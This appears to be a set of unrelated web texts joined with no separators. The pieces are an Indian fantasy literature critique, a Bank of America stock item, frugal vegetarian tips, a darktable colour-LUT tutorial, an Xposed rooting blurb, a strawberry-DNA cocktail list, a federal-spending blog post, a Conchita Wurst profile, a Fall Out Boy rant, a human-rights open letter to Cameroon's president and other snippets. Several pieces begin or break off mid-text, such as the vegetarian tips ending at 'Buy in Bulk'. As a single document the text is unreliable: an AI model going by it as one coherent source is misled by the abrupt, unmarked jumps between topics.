The thing with fantasy themes is that, usually, they are derived from the folk memory of the culture in which they’re written. It would be very difficult to make a vampire seem at home in a country which does not bury most of its dead. A white walker would be hard to preserve in a climate where corpses rot faster than they freeze.
Even Western fantasy largely follows this logic. Zombies usually enter the US from the south, where Caribbean voodoo practices originally led to their creation. The kaiju always emerges from the Pacific Ocean, where Far East and Japanese folklore originally placed it, and attacks the US from the west coast to be featured in Hollywood movies. Even Count Dracula, the first famous vampire in English literature, was a Transylvanian nobleman, because that’s where that myth comes from.
An instance of pseudo-medieval Indian high fantasy would look like Chandrakanta, just as an instance of pseudo-medieval Arabic high fantasy would obviously be Alif Laila. (You may not like the stories of these TV serials themselves, but that’s what the genre would look like, more or less.) It’s that folk memory that made Chandrakanta and Alif Laila so hugely popular with viewers in the 1990s.
Most of these viewers weren’t familiar with the tropes or traditions of Western fantasy. They didn’t need to be. Indian folk memory is pretty wide, and hardly confined to the major gods or the two major epics. Our grandparents, maids, the paanwallahs down the street all watched these serials, just as we English-medium schoolchildren did, and none of us needed any explanation about what was going on, because those were the tropes we had grown up with. These serials weren’t retellings of myth; they had original storylines that worked within familiar cultural tropes. Game of Thrones has much higher production values (and a comparably higher budget) than Chandrakanta, but in what other ways is it different?
Re-using mythology
If anything, the usage of South Asian religion, mythology and folk memory in literature is in a unique and complex position, since Hinduism is still a practised religion and philosophy. Are all depictions of the religious themes fantasy? Amruta Patil’s Adi Parva, a visually resplendent graphic novel which explores the philosophical tenets of a section of the Mahabharata, is a work of mythological revisionism – strictly speaking, it should not even be read as fiction. On the other hand, is everything with vaguely old-Indian-sounding words religious? The Aryavarta Chronicles by Krishna Udayasankar is not about the god Krishna, even though the protagonist is called Govinda. The Wordkeepers trilogy by Jash Sen and Vimana by Mainak Dhar are clearly works of fantasy, even though they feature gods and other familiar Indian tropes, because their actions in these stories are new and fictitious, not re-interpretations of their actions in the epics. The Anantya Tantrist series by Shweta Taneja is themed on rival tantrik cultures, and has a well-researched, gritty depiction of misogyny and corruption within them.
And then, there are fantasy books that don’t use mythology at all, like Samit Basu’s novels Turbulence and Resistance, Indra Das’s historical fantasy The Devourers, or the eccentric weird fiction of Kuzhali Manickavel, which mostly depicts contemporary life in the cities and villages of Tamil Nadu. There are probably other writers and books that I don’t know, published on small budgets and never displayed on the bestseller shelves of bookstores.
So, what’s disappointing is that an article that sounds like a commentary on all of Indian fantasy, very quickly becomes an article about bestsellers, and books that are visible on bookstore shelves. The writer isn’t asking why fantasy writers who write about subjects other than mythology don’t sell as well as the ones who do; she’s saying these writers don’t exist. She expresses hope for “outrageous personal creativity that busts trends rather than follow them”, while not acknowledging the writers who have already been doing that, some of them for decades.
Bank of America shares jumped more than 9 percent to close at $7.65 in trading on Thursday.
Buffett is also stressing the investment was his idea, perhaps to downplay any fears that Bank of America is desperate for a cash infusion.
This morning, Bank of America announced that Berkshire will use cash to buy 50,000 shares of preferred stock with a liquidation value of $100,000 per share in a private offering.
It's common knowledge – eating healthy, especially eating lots of vegetables, costs more than eating junk, right? Wrong! It can cost a lot more to eat fresh and healthy foods, especially living the vegetarian lifestyle, but that happens when you don't think about what you're eating beforehand. Considering that you have to plan out your meals in order to get the right nutrients anyway, living the veggie lifestyle in a frugal way is just a matter of making smart choices for things you're already doing anyway.
Eat Seasonally
Think back to how your grandmother talked about the good old days. When peaches were in season, they had peach pies and peach ice cream and – you get the idea. People ate what was abundant at the farmer's stand because it was cheap. It was cheap because the farmers had a lot of it they wanted to get rid of before it went bad.
The same rule holds true today. Sure, you can find ripe strawberries in the grocery store in December, but you'll pay a fortune (and they'll taste bland). On the other hand, go to the local strawberry festival in your area and you'll find enough cheap berries to feed yourself for months. Do the same thing with broccoli, sweet potatoes, corn and any other vegetables you can find. Plan your menus around what's ripe this week and you'll naturally pay less for your meals.
Learn to Preserve
Taking advantage of cheaper seasonal fruits and vegetables doesn't do you much good if you can't enjoy it for more than a week or two each year. Learn the fine art of preserving foods to allow your cheap produce to last throughout the year. Remember those December strawberries? If you freeze fresh berries in the middle of summer, you'll have good-tasting berries for the rest of the year.
Preserving comes in three basic methods: freezing, canning and drying. Each food preserves best in one way or another, so you'll have to research how to save your personal favorites. But when you're eating super-cheap peppers in the middle of winter when everyone else is paying a small fortune for them, you'll gloat a little bit before adding them to your dinner.
Gardening
The absolute cheapest way to get food for your veg*n lifestyle is to grow it yourself. Whether you plant a couple of pots on your balcony or dig an entire city block for a family's entire yearly menu, you'll save money when you grow any type of food. Setting up a garden can be expensive if you buy everything new, but frugal gardeners know better:
•Buy year-old seeds for pennies and plant three seeds per hole to make up for old ones that won't sprout.
•Repurpose old junk to use as garden tools: old spoons make small shovels, broken cribs can become support for vines to grow on.
•Plan the year before and save seeds from food you eat to create completely free food.
•Grow foods with the biggest nutrition punch, such as dried beans and gourds and leave fancy treats like radish and gourmet colored carrots to a smaller corner lot.
Trade
Once your garden comes in, you're bound to have at least one crop that you have more of than you could ever use, even if you pickle or freeze it. Get together with other gardeners in your community and arrange a produce trade. If you have tons of tomatoes and the guy on the next block is buried in black beans, you've got a natural trading situation going on. Trade basic items in bulk for unusual items you want to try such as heirloom tomatoes or different bean or pea varieties. Get together with fellow vegetarians before the growing season for the best trading or look on Craigslist or your local paper during harvest season to see who else is looking to trade.
Make a Menu
If you're serious about living the veggie lifestyle you'll have to plan your meals ahead of time. While you're figuring out the best combination of foods in order to get enough protein into your diet, mix and match food items for the cheapest bang for your buck. Once you have your menu set, make a grocery list and stick with it. Go for ingredients only, avoid any processed foods and be determined to cook the foods on your menu instead of just heating them up in a microwave.
Buy in Bulk
[update 2016/07/31: there was a section about intermediate export to csv and manually changing that file. this is no longer needed, exporting the style directly from darktable-chart is fine now.]
motivation
for raw photography there exist great presets for nice colour rendition:
in-camera colour processing such as canon picture styles
fuji film-emulation-like presets (provia velvia astia classic-chrome)
pat david’s film emulation luts
unfortunately these are eat-it-or-die canned styles or icc lut profiles. you have to apply them and be happy or tweak them with other tools. but can we extract meaning from these presets? can we have understandable and tweakable styles like these?
in a first attempt, i used a non-linear optimiser to control the parameters of the modules in darktable’s processing pipeline and try to match the output of such styles. while this worked reasonably well for some of pat’s film luts, it failed completely on canon’s picture styles. it was very hard to reproduce generic colour-mapping styles in darktable without parametric blending.
that is, we require a generic colour to colour mapping function. this should be equally powerful as colour look up tables, but enable us to inspect it and change small aspects of it (for instance only the way blue tones are treated).
overview
in git master, there is a new module to implement generic colour mappings: the colour checker lut module (lut: look up table). the following will be a description how it works internally, how you can use it, and what this is good for.
in short, it is a colour lut that remains understandable and editable. that is, it is not a black-box look up table, but you get to see what it actually does and change the bits that you don’t like about it.
the main use cases are precise control over source colour to target colour mapping, as well as matching in-camera styles that process raws to jpg in a certain way to achieve a particular look. an example of this are the fuji film emulation modes. to this end, we will fit a colour checker lut to achieve their colour rendition, as well as a tone curve to achieve the tonal contrast.
to create the colour lut, it is currently necessary to take a picture of an it8 target (well, technically we support any similar target, but didn’t try them yet so i won’t really comment on it). this gives us a raw picture with colour values for a few colour patches, as well as a in-camera jpg reference (in the raw thumbnail …), and measured reference values (what we know it should look like).
to map all the other colours (that fell in between the patches on the chart) to meaningful output colours, too, we will need to interpolate this measured mapping.
theory
we want to express a smooth mapping from input colours \(\mathbf{s}\) to target colours \(\mathbf{t}\), defined by a couple of sample points (which will in our case be the 288 patches of an it8 chart).
the following is a quick summary of what we implemented and much better described in JP’s siggraph course [0].
radial basis functions
radial basis functions are a means of interpolating between sample points via
$$f(x) = \sum_i c_i\cdot\phi(\| x - s_i\|),$$
with some appropriate kernel \(\phi(r)\) (we’ll get to that later) and a set of coefficients \(c_i\) chosen to make the mapping \(f(x)\) behave like we want it at and in between the source colour positions \(s_i\). now to make sure the function actually passes through the target colours, i.e. \(f(s_i) = t_i\), we need to solve a linear system. because we want the function to take on a simple form for simple problems, we also add a polynomial part to it. this makes sure that black and white profiles turn out to be black and white and don’t oscillate around zero saturation colours wildly. the system is
$$ \left(\begin{array}{cc}A &P\\P^t & 0\end{array}\right) \cdot \left(\begin{array}{c}\mathbf{c}\\\mathbf{d}\end{array}\right) = \left(\begin{array}{c}\mathbf{t}\\0\end{array}\right)$$
where
$$A=\left(\begin{array}{ccc} \phi(r_{00})& \phi(r_{10})& \cdots \\ \phi(r_{01})& \phi(r_{11})& \cdots \\ \phi(r_{02})& \phi(r_{12})& \cdots \\ \cdots & & \cdots \end{array}\right),$$
and \(r_{ij} = \| s_i - t_j \|\) is the distance (CIE 76 \(\Delta E\), \(\sqrt{(L_s - L_t)^2 + (a_s - a_t)^2 + (b_s - b_t)^2}\)) between source colour \(s_i\) and target colour \(t_j\), in our case
$$P=\left(\begin{array}{cccc} L_{s_0}& a_{s_0}& b_{s_0}& 1\\ L_{s_1}& a_{s_1}& b_{s_1}& 1\\ \cdots \end{array}\right)$$
is the polynomial part, and \(\mathbf{d}\) are the coefficients to the polynomial part. these are here so we can for instance easily reproduce \(t = s\) by setting \(\mathbf{d} = (1, 1, 1, 0)\) in the respective row. we will need to solve this system for the coefficients \(\mathbf{c}=(c_0,c_1,\cdots)^t\) and \(\mathbf{d}\).
many options will do the trick and solve the system here. we use singular value decomposition in our implementation. one advantage is that it is robust against singular matrices as input (accidentally map the same source colour to different target colours for instance).
thin plate splines
we didn’t yet define the radial basis function kernel. it turns out so-called thin plate splines have very good behaviour in terms of low oscillation/low curvature of the resulting function. the associated kernel is
$$\phi(r) = r^2 \log r.$$
note that there is a similar functionality in gimp as a gegl colour mapping operation (which i believe is using a shepard-interpolation-like scheme).
creating a sparse solution
we will feed this system with 288 patches of an it8 colour chart. that means, with the added four polynomial coefficients, we have a total of 292 source/target colour pairs to manage here. apart from performance issues when executing the interpolation, we didn’t want that to show up in the gui like this, so we were looking to reduce this number without introducing large error.
indeed this is possible, and literature provides a nice algorithm to do so, which is called orthogonal matching pursuit [1].
this algorithm will select the most important hand full of coefficients \(\in \mathbf{c},\mathbf{d}\), to keep the overall error low. In practice we run it up to a predefined number of patches (\(24=6\times 4\) or \(49=7\times 7\)), to make best use of gui real estate.
the colour checker lut module
gui elements
when you select the module in darkroom mode, it should look something like the image above (configurations with more than 24 patches are shown in a 7×7 grid instead). by default, it will load the 24 patches of a colour checker classic and initialise the mapping to identity (no change to the image).
the grid shows a list of coloured patches. the colours of the patches are the source points \(\mathbf{s}\) .
. the target colour \(t_i\) of the selected patch \(i\) is shown as offset controlled by sliders in the ui under the grid of patches.
of the selected patch is shown as offset controlled by sliders in the ui under the grid of patches. an outline is drawn around patches that have been altered, i.e. the source and target colours differ.
the selected patch is marked with a white square, and the number shows in the combo box below.
interaction
to interact with the colour mapping, you can change both source and target colours. the main use case is to change the target colours however, and start with an appropriate palette (see the presets menu, or download a style somewhere).
you can change lightness (L), green-red (a), blue-yellow (b), or saturation (C) of the target colour via sliders.
select a patch by left clicking on it, or using the combo box, or using the colour picker
to change source colour, select a new colour from your image by using the colour picker, and shift-left-click on the patch you want to replace.
to reset a patch, double-click it.
right-click a patch to delete it.
shift-left-click on empty space to add a new patch (with the currently picked colour as source colour).
example use cases
example 1: dodging and burning with the skin tones preset
to process the following image i took of pat in the overground, i started with the skin tones preset in the colour checker module (right click on nothing in the gui or click on the icon with the three horizontal lines in the header and select the preset).
then, i used the colour picker (little icon to the right of the patch# combo box) to select two skin tones: very bright highlights and dark shadow tones. the former i dragged the brightness down a bit, the latter i brightened up a bit via the lightness (L) slider. this is the result:
example 2: skin tones and eyes
in this image, i started with the fuji classic chrome-like style (see below for a download link), to achieve the subdued look in the skin tones. then, i picked the iris colour and saturated this tone via the saturation slider.
as a side note, the flash didn’t fire in this image (iso 800) so i needed to stop it up by 2.5ev and the rest is all natural lighting …
use darktable-chart to create a style
as a starting point, i matched a colour checker lut interpolation function to the in-camera processing of fuji cameras. these have the names of old film and generally do a good job at creating pleasant colours. this was done using the darktable-chart utility, by matching raw colours to the jpg output (both in Lab space in the darktable pipeline).
here is the link to the fuji styles, and how to use them. i should be doing pat’s film emulation presets with this, too, and maybe styles from other cameras (canon picture styles?). darktable-chart will output a dtstyle file, with the mapping split into tone curve and colour checker module. this allows us to tweak the contrast (tone curve) in isolation from the colours (lut module).
these styles were created with the X100T model, and reportedly they work so/so with different camera models. the idea is to create a Lab-space mapping which is well configured for all cameras. but apparently there may be sufficient differences between the output of different cameras after applying their colour matrices (after all these matrices are just an approximation of the real camera to XYZ mapping).
so if you’re really after maximum precision, you may have to create the styles yourself for your camera model. here’s how:
step-by-step tutorial to match the in-camera jpg engine
note that this is essentially similar to pascal’s colormatch script, but will result in an editable style for darktable instead of a fixed icc lut.
need an it8 (sorry, could lift that, maybe, similar to what we do for basecurve fitting)
shoot the chart with your camera: shoot raw + jpg avoid glare and shadow and extreme angles, potentially the rims of your image altogether shoot a lot of exposures, try to match L=92 for G00 (or look that up in your it8 description)
develop the images in darktable: lens and vignetting correction needed on both or on neither of raw + jpg (i calibrated for vignetting, see lensfun) output colour space to Lab (set the secret option in darktablerc : allow_lab_output=true ) standard input matrix and camera white balance for the raw, srgb for jpg. no gamut clipping, no basecurve, no anything else. maybe do perspective correction and crop the chart export as float pfm
darktable-chart load the pfm for the raw image and the jpg target in the second tab drag the corners to make the mask match the patches in the image maybe adjust the security margin using the slider in the top right, to avoid stray colours being blurred into the patch readout you need to select the gray ramp in the combo box (not auto-detected) click process export fix up style description in the export dialog if you want outputs a .dtstyle with everything properly switched off, and two modules on: colour checker + tonecurve in Lab
to fix wide gamut input, it may be needed to enable gamut clipping in the input colour profile module when applying the resulting style to an image with highly saturated colours. darktable-chart does that automatically in the style it writes.
fitting error
when processing the list of colour pairs into a set of coefficients for the thin plate spline, the program will output the approximation error, indicated by average and maximum CIE 76 \(\Delta E\) for the input patches (the it8 in the examples here). of course we don’t know anything about colours which aren’t represented in the patch. the hope would be that the sampling is dense enough for all intents and purposes (but nothing is holding us back from using a target with even more patches).
for the fuji styles, these errors are typically in the range of mean \(\Delta E\approx 2\) and max \(\Delta E \approx 10\) for 24 patches and a bit less for 49. unfortunately the error does not decrease very fast in the number of patches (and will of course drop to zero when using all the patches of the input chart).
provia 24:rank 28/24 avg DE 2.42189 max DE 7.57084 provia 49:rank 53/49 avg DE 1.44376 max DE 5.39751 astia-24:rank 27/24 avg DE 2.12006 max DE 10.0213 astia-49:rank 52/49 avg DE 1.34278 max DE 7.05165 velvia-24:rank 27/24 avg DE 2.87005 max DE 16.7967 velvia-49:rank 53/49 avg DE 1.62934 max DE 6.84697 classic chrome-24:rank 28/24 avg DE 1.99688 max DE 8.76036 classic chrome-49:rank 53/49 avg DE 1.13703 max DE 6.3298 mono-24:rank 27/24 avg DE 0.547846 max DE 3.42563 mono-49:rank 52/49 avg DE 0.339011 max DE 2.08548
future work
it is possible to match the reference values of the it8 instead of a reference jpg output, to calibrate the camera more precisely than the colour matrix would.
there is a button for this in the darktable-chart tool
tool needs careful shooting, to match brightness of reference value closely.
at this point it’s not clear to me how white balance should best be handled here.
need reference reflectances of the it8 (wolf faust ships some for a few illuminants).
another next step we would like to take with this is to match real film footage (porta etc). both reference and film matching will require some global exposure calibration though.
references
[0] Ken Anjyo and J. P. Lewis and Frédéric Pighin, “Scattered data interpolation for computer graphics” in Proceedings of SIGGRAPH 2014 Courses, Article No. 27, 2014. pdf
[1] J. A. Tropp and A. C. Gilbert, “Signal Recovery From Random Measurements Via Orthogonal Matching Pursuit”, in IEEE Transactions on Information Theory, vol. 53, no. 12, pp. 4655-4666, Dec. 2007.
Xposed is a powerful tool once placed on your device. While it does require root, it allows for soft modifications to be installed like applications, making it easy to change up your device’s look and how it runs. There is no more flashing of ROMs, which takes away a lot of the dangers and stress involved with rooting.
For a few months now, Xposed was not supported on Lollipop devices, but if this tease ends up coming to fruition, then anyone wanting this powerful tool on an Android 5.0+ device is in for a huge treat.
Of course, we will keep you posted on when and if it is released. Hang tight, rooters.
Via: XDA
ice cold Bacardi 151
frozen sliced strawberries
frozen pineapple juice concentrate
Supplies
Ziplock bags
Strainer
Bowls
Scale or measuring cups
Narrow glasses for serving
This ingredient list differs significantly from the materials for a standard home DNA extraction. Key changes:
-Normally, surfactants such as dish soap are used to lyse cells. These are not very tasty. Instead, we start with frozen strawberries, in which most cells have already been lysed by the freeze/thaw process. We found that no surfactant was necessary when starting with frozen fruit. Strawberries also gave us the most DNA by far, probably because commercial strawberry strains tend to be octoploid, i.e. they have 8 copies of DNA per cell. (See also How To Extract DNA From A Strawberry.)
-Salt is usually added to enhance precipitation of the DNA. We found salt unnecessary and were able to obtain reasonable yields while omitting it.
-Meat tenderizer is often added to help break down proteins and free the DNA; this mimics the effect of proteases that would be used in a lab setting. Instead, we used pineapple juice, which contains the protease bromelain. (Note that canned pineapple should not be used, since the heat used during the canning process deactivates bromelain.)
Given my affinity for budget data, I was excited to learn that the Joint Economic Committee (JEC) just released “An Economic History of Federal Spending and Debt.” This new publication is filled with fiscal information starting in the late 1700s. To give you an indication, check out this chart which, in one fell swoop, provides more than 200 years of data on spending, revenue, and debt, along with information on major wars and economic dislocations.
Click to enlarge:
You could study that one for a while. Dan offers this simpler chart, which shows federal spending as a percentage of GDP:
It is obvious that federal spending since WWII represents a sharp break with our prior history. Mitchell comments:
it symbolizes a very unfortunate change in the attitude about the proper role of the federal government. A progressive philosophical shift in federal spending began under President Woodrow Wilson. …George Will—writing on Wilson’s underlying philosophy—succinctly contrasted Wilson with James Madison by noting, “Wilsonian government, meaning (in Wilson’s words) government with ‘unstinted power,’ is hostile to Madison’s Constitution, which, Madison said, obliges government ‘to control itself.’” In other words, the left decided that government was a force for progress rather than a threat to liberty, so they wanted to undermine the Constitution’s limits on the federal government. And once the Supreme Court acquiesced to this perversion of the Constitution’s clear intent, any limits of federal power were swept away (evinced most recently by John Roberts’ tortured Obamacare decision).
I can’t argue with that. But I would note a couple of additional points. First, the growth of federal spending has consisted mostly of expansion in entitlements, which now represent around half of the federal budget. Does taxing the young to support the old–not a traditional federal government function, to say the least–give the government the same control over the economy, or threaten our freedoms, to the same extent as other forms of government spending (e.g., funding the EPA and the IRS)? Unconstrained entitlement spending may essentially bankrupt the federal government one day, so I don’t mean to underestimate its importance. But are all forms of government spending equally “Wilsonian”?
Second, the explosion in federal spending has taken place alongside a similar expansion of state and local spending. I happened to obtain data last week on historic spending by my home state of Minnesota. The numbers are actual totals, not inflation-adjusted and not stated as a percentage of GDP. Still, the raw numbers are astonishing.
In 1960, the State of Minnesota spent $509 million. At the time, it probably sounded like a lot of money. By 2015, the state’s spending had exploded to $35.9 billion–more than 70 times the 1960 level. Just since 2000, the state’s spending has doubled. And this is without Social Security and Medicare driving the numbers.
Together, these trends have largely turned the United States into a nation of check-cashers. Small wonder that is seems harder, these days, to get people upset about big government. But government spending always carries a price tag, as the Joint Economic Committee’s report notes:
While more spending and a bigger federal government can mean more federal jobs, these jobs come at the expense of private sector resources, meaning fewer private sector jobs and lost economic opportunities. …there is an inverse relationship between federal spending and private payroll employment.
It’s unlikely you haven’t heard about this year’s Austrian Eurovision Song Contest entry, Conchita Wurst. Austria return to the Eurovision Song Contest after sitting out the 2013 event (they never seem to qualify from the semi finals).
This time they’ve chosen to return with Conchita Wurst, affectionately dubbed ‘the bearded lady’. To be fair, this doesn’t come close to doing justice to perhaps the most poignant Eurovision entrant of the year.
She performs her entry Rise Like a Phoenix in tonight’s Eurovision Song Contest second semi final (BBC3 8pm).
It is the kind of song that could grace a James Bond movie, and you can easily imagine Shirley Bassey belting this out in the shower if not on stage.
Who is Conchita?
Conchita Wurst, born Tom Neuwirth, unleashed his alter-ego Conchita on the world in 2011.
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She competed in the talent show Die Große Chance and took second place, becoming a national icon in Austria as the show progressed.
Prior to the creation of Conchita, Neuwirth had taken part in another talent show, Starmania and is a former member of boyband Jetzt Anders.
Conchita Wurst was created by Tom Neuwirth in 2011 (Picture: AFP/Getty Images)
Conchita tried and failed to represent Austria at the Eurovision Song Contest in 2012 with the song That’s What I Am.
The song contains the lyrics ‘you will learn to love me but will that ever be?’. The answer is clearly an emphatic yes!
MORE: Eurovision 2014 – The Netherlands emerges as major rival to UK at Eurovision
Supermodel
As well as being a singer and television personality, Conchita Wurst has become a fashion icon. Almost every Facebook photo includes a list of designers responsible for her outfits.
The Eurovision press have the honour of awarding the notorious Barbara Dex award for the worst dressed Eurovision entrant. Conchita is likely to come last in this category.
Conchita – looking flawless (Picture: Getty Images)
Television superstar
Ms Wurst is the kind of personality that never ducks a challenge. After a television talent show and an Austrian Eurovision final, she was invited to participate in a show called The Hardest Jobs in Austria. Conchita spent the episode working in a fish factory.
Her appearance got her noticed in Germany where she was invited to participate in another show called Wild Girls and was promptly packed off to Africa to live in the desert with native tribes. Possibly the only artiste to do so in full drag in the history of television.
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MORE: Eurovision 2014 – why audiences could be seeing double on the night thanks to Austria and Ireland
Ambassador for gay rights
One thing you cannot fail to notice about Conchita’s music is that it carries a powerful message. Her Eurovision entry, Rise Like a Phoenix is an anthem for people who are different, struggle with their identity or have suffered through discrimination.
There have been petitions in Russia and Belarus to have the song blocked from the broadcast because it is ‘unnatural’. The view of most European nations however is that freedom of expression and freedom of speech are at the cornerstone of democracy and of the Eurovision Song Contest.
Conchita has risen above the situation and has become the ultimate icon of the 2014 Eurovision Song Contest before performing in tonight’s semi final and she is widely tipped to reach the top 10 in Saturday’s Eurovision final.
The newest Eurovision Song Contest icon
Tonight, Conchita Wurst realises a lifetime dream of participating at the Eurovision Song Contest in Copenhagen. It would be hard to bet against seeing her qualify for the final and it’s not impossible that she might just pick up enough votes from Western Europe to send a clear message to those hampering gay rights in the East.
We’re jumping right past the ‘90s nostalgia, clearing the whole damn decade before the Reality Bites sitcom and Twin Peaks reboot even have a chance to grace the airwaves.
Okay, this may not be entirely a bad thing.
But unless the new Kurt Cobain doc drags us back to the slacker generation’s coffee houses and flannel, we’ve fast forwarded through the latter part of the century’s shitty alt rock and JNCO stovepipe denim right into the early ‘00s and the flailing, wailing, mascara wearing pseudo punk arena schlock rock that was, and is, Fall Out Boy.
Sure, these dead horse beaters of the emo steed actually returned from hiatus a couple years ago, with the ironically titled Save Rock and Roll. But let’s be honest, even with 92 weeks on the pop charts of its own, it was never as annoying, or prevalent, as this this most recent album.
American Beauty / American Psycho, whose name itself is so “I can’t even” that we won’t, has made the rounds so hard that the band publicly apologized for their first single’s over saturation.
The song, of course, is “Centuries,” howling bastard child of every hard rock trope from the last 30 years, a modern day “We Will Rock You” sans originality or actual testosterone. Yet it worked well for ESPN’s football programs for exactly the reason that it’s arguably the worst intruder of Billboard’s Hot 100: it sounds like something a robot synthesized in a lab using a register of cornball rock techniques, and, for reasons that remain inexplicable, that’s become exactly what the majority of the public wants. Plus it sounds dope with rave-era computer animations of hulking humans getting concussed in super slow motion.
None of this is to infer that entry into the Billboard charts should be a guarantee of greatness; on any given week you can peruse its top-selling lineup and come away at best confused or at worst questioning what the hell is wrong with our culture as a whole. But hey, music, as an art form, is subjective. Different strokes, and all that.
God, I miss The Strokes.
Not because they were shockingly original, or even groundbreaking. But they did what they did well—delivered straight ahead rock and roll that made you want to drive too fast, or punch a friend in the face just so you could go and get a beer with them. It was music that got you laid, which may not sound all that mature, but isn’t that what most big rock and roll is supposed to do?
Conversely, Fall Out Boy will never get you laid, at least not in a way that won’t have the person who laid you stalking your every move for weeks after, leaving pigeon hearts and tepid poetry on your front step. And forget fighting; the only overt physical reaction this band inspires is the kind that lands you in therapy with exes’ names carved in your arm.
Don’t believe me? Here’s a couple lines from “Centuries,” draw your own conclusions as to their pseudo Goth, Final Fantasy delusions of grandeur:
And I can't stop 'til the whole world knows my name'Cause I was only born inside my dreamsUntil you die for me, as long as there is a light, my shadow's over you'Cause I am the opposite of amnesiaAnd you're a cherry blossomYou're about to bloom
Excuse me while I choke this vomit back down my throat.
These are not emotions to be propagated on a broad scale.
Yet there they are, sitting squarely at the top of the charts, grinding their carefully stylized—the band looks like a youth culture marketing team’s thesis on “rebellion”—derrieres into the top of second place winner T Swift’s head.
But crappy music has always existed, and, for the past few decades at least, risen to the top, right? Why the vitriol directed at this particular group? Am I just old, or an elitist bent out of shape that the more deserving Decembrists or Belle and Sebastian or Hozier are failing to so ably scale the ladder of mainstream consumer culture confirmation?
Yeah, probably.
I can cop to that, but there’s still more to it. Or so I want to believe.
Our society has a long documented obsession with regurgitating the past. The ‘0s, ‘80s, and now ‘90s have been cheaply repackaged and sold to us as nostalgically new, something comfortable to slip into from a fashion and cultural standpoint. Yet now, with Fall Out Boy and their emo ilk yowling back from just a few short years ago to the present, have we finally traversed time’s flat circle? Is the infinity snake done gobbling its tail and now flipping itself inside out?
Why has it come to this song blasting from every transmitter orifice, ironically telling us we’ll “remember me, for centuries?”
Maybe all those old Fall Out Boy fans have grown up but are still so, so sad; clamoring for an anthem to their looming late twenty’s malaise. Yet how can there be so many of them, that the song, and band, can be so ubiquitous?
Who are these depressed masses, yearning to bleed freely?
In an age of such convenience, and easy to use dating apps, what the hell are they so woeful about?
Who knows.
And you know what? Who cares. There’s no accounting for taste, right? And we’re all just trying to somehow make our way back to those most painful of golden formative years that were high school in one way or another. Is it too much to ask that we do it with a thin veneer of class and style? Or maybe I’m just old, brainwashed by Taylor Swift, and getting a little mean.
His Excellency
President Paul Biya
President of the Republic of Cameroon
Office of the President
P.O. Box100
Yaoundé
Republicof Cameroon
21 September 2011
Open letter to His Excellency Paul Biya, President of the Republic of Cameroon
LAWS CRIMINALIZING SAME-SEX SEXUAL CONDUCT VIOLATE INTERNATIONAL HUMAN RIGHTS LAWS
Your Excellency
We write to express serious concern about the increased use of criminal laws to punish consensual same-sex relations between adults and non-normative gender expression in Cameroon in recent months.
In the last six months, at least ten individuals in Yaoundé and Douala have been arrested under Article 347(a) of the Cameroonian Penal Code. This Article criminalises “sexual relations with a person of the same sex”.
Jean-Claude Roger Mbede was arrested in Yaoundé on 2 March 2011; he was convicted and sentenced to three years’ imprisonment on 28 April 2011. He is being held at Kondengui Central Prison in Yaoundé.
Two men, Jonas, aged 19, and Frankie, 25, were arrested in Yaoundé on 25 July 2011. They remain in custody at Kondengui Central Prison.
Four men were arrested in August 2011. One man, Joseph Magloire Ombwa, aged 46, was arrested at his home; two others – Sylvain Séraphin Ntsama, aged 34, and Emma Loutsi Tiomela, aged 17 – were arrested when visiting Ombwa, who was then in custody at a police station in Yaoundé; a fourth, Nicolas Ntamack, aged 19, was arrested at the home of Ntsama. We received information that Ombwa was subjected to an anal examination by a military medical doctor. The four men were denied bail and remanded in custody on 26 August.
Stéphane Nounga and another man only identified as Eric O. were arrested in late August after they were tricked into meeting a man who dragged them to a nearby police station in Yaoundé where they were detained. Both men were subsequently released after the intervention of lawyers.
Jean Jules Moussongo was arrested in Douala on 6 September after the parents of a young man asked gendarmes to arrest him for allegedly seeking contact with their son. Moussongo was released on 8 September after the respective parents of the two men apparently reached an arrangement.
We have received information that at least some of these men were subjected to torture or other ill-treatment whilst in custody.
Furthermore, many of the individuals detained have been targeted on the grounds of their perceived sexual orientation, rather than on any alleged participation in prohibited acts. As the 2010 report documenting rights violations of lesbians, gay men, and bisexual and transgender people, Criminalizing Identities: Rights Abuses in Cameroon based on Sexual Orientation and Gender Identity, shows, individuals charged and convicted under Article 347(a) face increased threat of violence and discrimination in prison, and their health can be severely compromised because of the abuse and the lack of access to medication and treatment.
Article 347(a) contravenes the international and regional human rights treaties which Cameroon has signed and ratified, including the International Covenant on Civil and Political Rights and the African Charter on Human and Peoples’ Rights. In addition to creating a climate of fear and allowing police to detain, torture and beat suspected lesbian, gay, bisexual or transgender individuals with impunity, this law impedes health initiatives, particularly around HIV and AIDS, that attempt to reach vulnerable groups, including men who have sex with men, by driving individuals underground and making it harder for them to access safer sex information and services.
We are also concerned about reports of proposed legislation to increase the penalty for same-sex sexual acts to 15 years imprisonment and a fine of two million francs CFA. Such a move will further increase the vulnerability of members of the lesbian, gay, bisexual and transgender community to violence and discrimination by state and non-state actors.
We therefore urge the Cameroonian Government to:
Immediately and unconditionally release, and drop all charges against, all individuals detained under Article 347(a) or detained solely because of their real or perceived sexual orientation or gender identity;
End arrests, detention, prosecution and other forms of persecution and discrimination against people suspected or known to be gay, lesbian, bisexual or transgender;
Repeal all legislation criminalizing consensual same-sex sexual acts between adults and withdraw proposals for new legislation that would increase the penalties for consensual same-sex sexual acts.
We look forward to receiving your response.
Yours sincerely,
Parfait Behen
President
Alternatives Cameroun
For Salil Shetty
Secretary-General
Amnesty International
Alice Nkom
Executive Director
L’Association pour la Défense des Droits des Homosexuel(le)s (ADEFHO)
Kenneth Roth
Executive Director
Human Rights Watch
CaryAlan Johnson
Executive Director
International Gay and Lesbian Human Rights Commission
cc: Laurent Esso, Secretary-General at the Presidency
Philémon Yang, Prime Minister
Amadou Ali, Deputy Prime Minister, Minister of Justice, Keeper of the Seals
Henri Ayissi Eyebe, Minister of Foreign Affairs
Andre Mama Fouda, Minister of Public Health
"No Regrets" takes place in the near future, where Joey Bada$$ has become a billionaire philanthropist who contemplates what his life would have been like had he pursued a mainstream musical career. As he time travels to the past to give his younger self the key to creative success and unlimited fortune, a young woman intercedes, triggering poignant memories of what made him the man he is today. ​
Watch the trailer above and stay tuned for more info.
An ambitious proposal for Canada Post was launched yesterday, coinciding with a renewed push for the Leap Manifesto.
Lauded by David Suzuki, Naomi Klein, Clayton Thomas-Muller and others, the Canadian Union of Postal Workers (CUPW) and allies are hoping to transform the imperilled public postal service, which has nearly twice as many locations as Tim Horton's, into a powerful force creating a low carbon society.
The vision is outlined in a 20-page document obtained by the Media Coop, Delivering Community Power: How Canada Post can be the hub of our Next Economy.
A 100 per cent electric vehicle fleet for Canada Post is proposed, along with vehicle charging stations at post offices. Postal banking would be made available, particularly benefiting Indigenous and rural communities under-served by traditional banks.
